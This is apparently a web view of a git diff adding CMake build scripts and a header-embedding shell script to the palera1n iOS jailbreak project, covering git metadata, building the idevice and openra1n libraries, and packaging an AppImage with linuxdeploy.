||||
|
||||
if(IOS)
|
||||
target_include_directories(palera1n PRIVATE "${CMAKE_SOURCE_DIR}/apple-include-iphoneos")
|
||||
endif()
|
||||
|
||||
if(LINUX)
|
||||
set(LITEUSB_INCLUDE_DIR "${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/external/liteusb/include")
|
||||
target_compile_definitions(palera1n PRIVATE LITEUSB_PLATFORM_LINUX)
|
||||
target_include_directories(palera1n PRIVATE ${LITEUSB_INCLUDE_DIR})
|
||||
endif()
|
||||
@@ -0,0 +1,31 @@
|
||||
# =========================
|
||||
# MARK: GIT INFO
|
||||
# =========================
|
||||
|
||||
execute_process(
|
||||
COMMAND git rev-parse HEAD
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
|
||||
OUTPUT_VARIABLE GIT_HASH
|
||||
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||
)
|
||||
|
||||
execute_process(
|
||||
COMMAND git rev-parse --abbrev-ref --symbolic-full-name "@{u}"
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
|
||||
OUTPUT_VARIABLE GIT_BRANCH
|
||||
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||
ERROR_QUIET
|
||||
)
|
||||
|
||||
execute_process(
|
||||
COMMAND git remote get-url origin
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
|
||||
OUTPUT_VARIABLE GIT_URL
|
||||
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||
)
|
||||
|
||||
target_compile_definitions(palera1n PRIVATE
|
||||
GIT_HASH="${GIT_HASH}"
|
||||
GIT_BRANCH="${GIT_BRANCH}"
|
||||
GIT_URL="${GIT_URL}"
|
||||
)
|
||||
@@ -0,0 +1,121 @@
|
||||
# =========================
|
||||
# MARK: NON-CMAKE DEPENDENCIES: IDEVICE
|
||||
# =========================
|
||||
|
||||
|
||||
set(IDevice_CARGO_ARGS
|
||||
--release
|
||||
--no-default-features
|
||||
--features "usbmuxd ring tcp"
|
||||
)
|
||||
|
||||
set(IDevice_ENV)
|
||||
|
||||
if(APPLE)
|
||||
if(IOS)
|
||||
list(APPEND IDevice_ENV "IPHONEOS_DEPLOYMENT_TARGET=${CMAKE_OSX_DEPLOYMENT_TARGET}")
|
||||
else()
|
||||
list(APPEND IDevice_ENV "MACOSX_DEPLOYMENT_TARGET=${CMAKE_OSX_DEPLOYMENT_TARGET}")
|
||||
endif()
|
||||
endif()
|
||||
|
||||
if(CROSS_HOST_TRIPLE)
|
||||
if(CROSS_HOST_TRIPLE STREQUAL "i486-linux-musl")
|
||||
set(RUST_TARGET "i686-unknown-linux-musl")
|
||||
elseif(CROSS_HOST_TRIPLE STREQUAL "x86_64-linux-musl")
|
||||
set(RUST_TARGET "x86_64-unknown-linux-musl")
|
||||
elseif(CROSS_HOST_TRIPLE STREQUAL "armel-linux-musleabi")
|
||||
set(RUST_TARGET "arm-unknown-linux-musleabi")
|
||||
elseif(CROSS_HOST_TRIPLE STREQUAL "aarch64-linux-musl")
|
||||
set(RUST_TARGET "aarch64-unknown-linux-musl")
|
||||
endif()
|
||||
|
||||
if(RUST_TARGET)
|
||||
string(TOUPPER "${RUST_TARGET}" RUST_TARGET_ENV)
|
||||
string(REPLACE "-" "_" RUST_TARGET_ENV "${RUST_TARGET_ENV}")
|
||||
|
||||
list(APPEND IDevice_CARGO_ARGS --target ${RUST_TARGET})
|
||||
list(APPEND IDevice_ENV
|
||||
"CC=${CMAKE_C_COMPILER}"
|
||||
"AR=${CMAKE_AR}"
|
||||
"CARGO_TARGET_${RUST_TARGET_ENV}_LINKER=${CMAKE_C_COMPILER}"
|
||||
)
|
||||
endif()
|
||||
|
||||
elseif(MINGW)
|
||||
set(RUST_TARGET "x86_64-pc-windows-gnu")
|
||||
|
||||
list(APPEND IDevice_CARGO_ARGS --target ${RUST_TARGET})
|
||||
|
||||
list(APPEND IDevice_ENV
|
||||
"CC=${CMAKE_C_COMPILER}"
|
||||
"AR=${CMAKE_AR}"
|
||||
"CARGO_TARGET_X86_64_PC_WINDOWS_GNU_LINKER=${CMAKE_C_COMPILER}"
|
||||
)
|
||||
endif()
|
||||
|
||||
# Only build idevice if libraries are missing
|
||||
set(IDEVICE_INSTALL_DIR "${CMAKE_BINARY_DIR}/idevice_ep-prefix")
|
||||
if(NOT (EXISTS "${IDEVICE_INSTALL_DIR}/lib/idevice/libidevice++.a"
|
||||
AND EXISTS "${IDEVICE_INSTALL_DIR}/lib/idevice/libidevice_ffi.a"))
|
||||
|
||||
ExternalProject_Add(idevice_ep
|
||||
GIT_REPOSITORY https://github.com/jkcoxson/idevice.git
|
||||
GIT_TAG v0.1.65
|
||||
|
||||
PATCH_COMMAND
|
||||
patch --forward --ignore-whitespace -p1 < "${CMAKE_SOURCE_DIR}/patches/idevice/0001-compile-usbmuxd-and-windows-fixes.patch" || true
|
||||
|
||||
CONFIGURE_COMMAND ""
|
||||
|
||||
BUILD_COMMAND
|
||||
${CMAKE_COMMAND} -E env
|
||||
${IDevice_ENV}
|
||||
cargo build
|
||||
${IDevice_CARGO_ARGS}
|
||||
--manifest-path <SOURCE_DIR>/ffi/Cargo.toml
|
||||
|
||||
COMMAND ${CMAKE_COMMAND} -E chdir <SOURCE_DIR>/cpp
|
||||
${CMAKE_COMMAND}
|
||||
-B build
|
||||
-DCMAKE_BUILD_TYPE=Release
|
||||
-DIDEVICE_FFI_PATH=<SOURCE_DIR>/target/${RUST_TARGET}/release/${FFI_LIB_NAME}
|
||||
"-DCMAKE_CXX_FLAGS=-Du_int64_t=uint64_t -Du_int32_t=uint32_t -Du_int16_t=uint16_t -Du_int8_t=uint8_t"
|
||||
"-DCMAKE_OSX_DEPLOYMENT_TARGET=${CMAKE_OSX_DEPLOYMENT_TARGET}"
|
||||
|
||||
COMMAND ${CMAKE_COMMAND} --build <SOURCE_DIR>/cpp/build --config Release
|
||||
|
||||
INSTALL_COMMAND
|
||||
${CMAKE_COMMAND} -E make_directory <INSTALL_DIR>/lib/idevice
|
||||
COMMAND ${CMAKE_COMMAND} -E make_directory <INSTALL_DIR>/include
|
||||
|
||||
COMMAND ${CMAKE_COMMAND} -E copy
|
||||
<SOURCE_DIR>/target/${RUST_TARGET}/release/libidevice_ffi.a
|
||||
<INSTALL_DIR>/lib/idevice/libidevice_ffi.a
|
||||
|
||||
COMMAND ${CMAKE_COMMAND} -E copy
|
||||
<SOURCE_DIR>/cpp/build/libidevice++.a
|
||||
<INSTALL_DIR>/lib/idevice/libidevice++.a
|
||||
|
||||
COMMAND ${CMAKE_COMMAND} -E copy_directory
|
||||
<SOURCE_DIR>/cpp/include
|
||||
<INSTALL_DIR>/include
|
||||
|
||||
BUILD_IN_SOURCE 1
|
||||
)
|
||||
|
||||
add_dependencies(palera1n idevice_ep)
|
||||
endif()
|
||||
|
||||
set(IDEVICE_INCLUDE_DIR "${IDEVICE_INSTALL_DIR}/include")
|
||||
set(IDEVICE_LIBRARY "${IDEVICE_INSTALL_DIR}/lib/idevice/libidevice++.a")
|
||||
set(IDEVICE_FFI_LIBRARY "${IDEVICE_INSTALL_DIR}/lib/idevice/libidevice_ffi.a")
|
||||
|
||||
target_include_directories(palera1n PRIVATE ${IDEVICE_INCLUDE_DIR})
|
||||
target_link_libraries(palera1n PRIVATE "${IDEVICE_LIBRARY}" "${IDEVICE_FFI_LIBRARY}")
|
||||
|
||||
if(MINGW)
|
||||
target_link_libraries(palera1n PRIVATE bcrypt userenv ntdll)
|
||||
endif()
|
||||
|
||||
target_compile_definitions(palera1n PRIVATE LIBPLIST_STATIC)
|
||||
@@ -0,0 +1,117 @@
|
||||
# cmake/LinuxDeploy.cmake
|
||||
|
||||
include(FetchContent)
|
||||
|
||||
if(CMAKE_SYSTEM_PROCESSOR MATCHES "aarch64|arm64")
|
||||
set(LINUXDEPLOY_URL
|
||||
"https://github.com/linuxdeploy/linuxdeploy/releases/download/continuous/linuxdeploy-aarch64.AppImage"
|
||||
)
|
||||
else()
|
||||
set(LINUXDEPLOY_URL
|
||||
"https://github.com/linuxdeploy/linuxdeploy/releases/download/continuous/linuxdeploy-x86_64.AppImage"
|
||||
)
|
||||
endif()
|
||||
|
||||
set(LINUXDEPLOY
|
||||
"${CMAKE_BINARY_DIR}/linuxdeploy"
|
||||
)
|
||||
|
||||
if(NOT EXISTS "${LINUXDEPLOY}")
|
||||
message(STATUS "Downloading linuxdeploy...")
|
||||
|
||||
file(DOWNLOAD
|
||||
"${LINUXDEPLOY_URL}"
|
||||
"${LINUXDEPLOY}"
|
||||
SHOW_PROGRESS
|
||||
STATUS LINUXDEPLOY_DOWNLOAD_STATUS
|
||||
)
|
||||
|
||||
list(GET LINUXDEPLOY_DOWNLOAD_STATUS 0 LINUXDEPLOY_DOWNLOAD_RESULT)
|
||||
|
||||
if(NOT LINUXDEPLOY_DOWNLOAD_RESULT EQUAL 0)
|
||||
list(GET LINUXDEPLOY_DOWNLOAD_STATUS 1 LINUXDEPLOY_DOWNLOAD_ERROR)
|
||||
|
||||
message(FATAL_ERROR
|
||||
"Failed to download linuxdeploy: ${LINUXDEPLOY_DOWNLOAD_ERROR}"
|
||||
)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
file(
|
||||
CHMOD "${LINUXDEPLOY}"
|
||||
FILE_PERMISSIONS
|
||||
OWNER_READ OWNER_WRITE OWNER_EXECUTE
|
||||
GROUP_READ GROUP_EXECUTE
|
||||
WORLD_READ WORLD_EXECUTE
|
||||
)
|
||||
|
||||
set(CPACK_GENERATOR "External")
|
||||
set(CPACK_EXTERNAL_ENABLE_STAGING YES)
|
||||
|
||||
set(CPACK_EXTERNAL_PACKAGE_SCRIPT
|
||||
"${CMAKE_CURRENT_BINARY_DIR}/LinuxDeploy-package.cmake"
|
||||
)
|
||||
|
||||
set(LINUXDEPLOY_SCRIPT [=[
|
||||
set(APPDIR "${CPACK_TEMPORARY_DIRECTORY}")
|
||||
set(OUTPUT_DIR "@CMAKE_BINARY_DIR@")
|
||||
|
||||
set(DESKTOP_FILE
|
||||
"${APPDIR}/share/applications/in.palera.palera1n.desktop"
|
||||
)
|
||||
|
||||
message(STATUS "Running linuxdeploy")
|
||||
message(STATUS "AppDir: ${APPDIR}")
|
||||
message(STATUS "Output: ${OUTPUT_DIR}")
|
||||
|
||||
execute_process(
|
||||
COMMAND
|
||||
"@LINUXDEPLOY@"
|
||||
"--appdir=${APPDIR}"
|
||||
"--desktop-file=${DESKTOP_FILE}"
|
||||
"--output=appimage"
|
||||
WORKING_DIRECTORY "${OUTPUT_DIR}"
|
||||
RESULT_VARIABLE RESULT
|
||||
OUTPUT_VARIABLE OUTPUT
|
||||
ERROR_VARIABLE ERROR
|
||||
)
|
||||
|
||||
if(OUTPUT)
|
||||
message(STATUS "${OUTPUT}")
|
||||
endif()
|
||||
|
||||
if(ERROR)
|
||||
message(STATUS "${ERROR}")
|
||||
endif()
|
||||
|
||||
if(NOT RESULT EQUAL 0)
|
||||
message(FATAL_ERROR
|
||||
"linuxdeploy failed with exit code ${RESULT}"
|
||||
)
|
||||
endif()
|
||||
|
||||
message(STATUS
|
||||
"AppImage generated in ${OUTPUT_DIR}"
|
||||
)
|
||||
]=])
|
||||
|
||||
string(
|
||||
REPLACE
|
||||
"@LINUXDEPLOY@"
|
||||
"${LINUXDEPLOY}"
|
||||
LINUXDEPLOY_SCRIPT
|
||||
"${LINUXDEPLOY_SCRIPT}"
|
||||
)
|
||||
|
||||
string(
|
||||
REPLACE
|
||||
"@CMAKE_BINARY_DIR@"
|
||||
"${CMAKE_BINARY_DIR}"
|
||||
LINUXDEPLOY_SCRIPT
|
||||
"${LINUXDEPLOY_SCRIPT}"
|
||||
)
|
||||
|
||||
file(GENERATE
|
||||
OUTPUT "${CPACK_EXTERNAL_PACKAGE_SCRIPT}"
|
||||
CONTENT "${LINUXDEPLOY_SCRIPT}"
|
||||
)
|
||||
@@ -0,0 +1,51 @@
|
||||
# =========================
|
||||
# MARK: NON-CMAKE DEPENDENCIES: OPENRAIN
|
||||
# =========================
|
||||
|
||||
message(STATUS "Building with Openra1n support")
|
||||
|
||||
if(IOS)
|
||||
execute_process(
|
||||
COMMAND xcrun --sdk iphoneos --show-sdk-path
|
||||
OUTPUT_VARIABLE IOS_SDK
|
||||
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||
)
|
||||
|
||||
execute_process(
|
||||
COMMAND ${CMAKE_COMMAND} -E env
|
||||
"CFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos"
|
||||
"CXXFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos"
|
||||
"LDFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET}"
|
||||
make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER} AR=${CMAKE_AR}
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libopenra1n
|
||||
RESULT_VARIABLE OPENRA1N_BUILD_RESULT
|
||||
)
|
||||
elseif(APPLE)
|
||||
execute_process(
|
||||
COMMAND ${CMAKE_COMMAND} -E env
|
||||
"CFLAGS=-mmacosx-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET}"
|
||||
make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER}
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libopenra1n
|
||||
RESULT_VARIABLE OPENRA1N_BUILD_RESULT
|
||||
)
|
||||
else()
|
||||
execute_process(
|
||||
COMMAND make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER}
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libopenra1n
|
||||
RESULT_VARIABLE OPENRA1N_BUILD_RESULT
|
||||
)
|
||||
endif()
|
||||
|
||||
if(NOT OPENRA1N_BUILD_RESULT EQUAL 0)
|
||||
message(FATAL_ERROR "Failed to build Openra1n.")
|
||||
endif()
|
||||
|
||||
set(OPENRA1N_INCLUDE_DIR "${CMAKE_SOURCE_DIR}/1stparty/libopenra1n/build/include")
|
||||
set(OPENRA1N_LIB "${CMAKE_SOURCE_DIR}/1stparty/libopenra1n/build/lib/openra1n/libopenra1n.a")
|
||||
|
||||
target_include_directories(palera1n PRIVATE ${OPENRA1N_INCLUDE_DIR})
|
||||
target_link_libraries(palera1n PRIVATE "${OPENRA1N_LIB}")
|
||||
|
||||
if(IOS)
|
||||
target_include_directories(palera1n PRIVATE "${CMAKE_SOURCE_DIR}/apple-include-iphoneos")
|
||||
endif()
|
||||
@@ -0,0 +1,10 @@
|
||||
find_program(BASH_EXECUTABLE bash REQUIRED)
|
||||
find_program(_XXD xxd REQUIRED)
|
||||
find_program(_JQ jq REQUIRED)
|
||||
find_program(_XZ xz REQUIRED)
|
||||
|
||||
execute_process(
|
||||
COMMAND "${BASH_EXECUTABLE}" "${CMAKE_CURRENT_SOURCE_DIR}/cmake/Xxd.sh"
|
||||
WORKING_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}"
|
||||
COMMAND_ERROR_IS_FATAL ANY
|
||||
)
|
||||
@@ -0,0 +1,29 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
set -e
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
ROOT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
|
||||
mkdir -p "$ROOT_DIR/src/gen/embedded"
|
||||
|
||||
cd "$ROOT_DIR"
|
||||
|
||||
mkdir -p src/gen/embedded
|
||||
|
||||
xz --format=lzma -vfc6ekT 0 $ROOT_DIR/embedded/ramdisk.dmg > $ROOT_DIR/embedded/ramdisk-compressed.lzma
|
||||
xz --format=lzma -vfc6ekT 0 $ROOT_DIR/embedded/checkra1n-kpf-pongo > $ROOT_DIR/embedded/checkra1n-kpf-pongo-compressed.lzma
|
||||
jq -c . $ROOT_DIR/embedded/DFUHelperDeviceInfo.json > $ROOT_DIR/embedded/DFUHelperDeviceInfo-minified.json
|
||||
|
||||
for file in embedded/*; do
|
||||
name=$(basename "$file")
|
||||
symbol="embedded_${name//[^a-zA-Z0-9_]/_}"
|
||||
|
||||
echo " XXD $file"
|
||||
|
||||
xxd -i "$file" \
|
||||
| sed -E \
|
||||
-e "s/^unsigned char .*\[\] =/static const unsigned char ${symbol}[] =/" \
|
||||
-e "s/^unsigned int .*_len =/static const size_t ${symbol}_len =/" \
|
||||
> "src/gen/embedded/${name%.*}.h"
|
||||
done
|
||||
Loaded 100 of 197 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user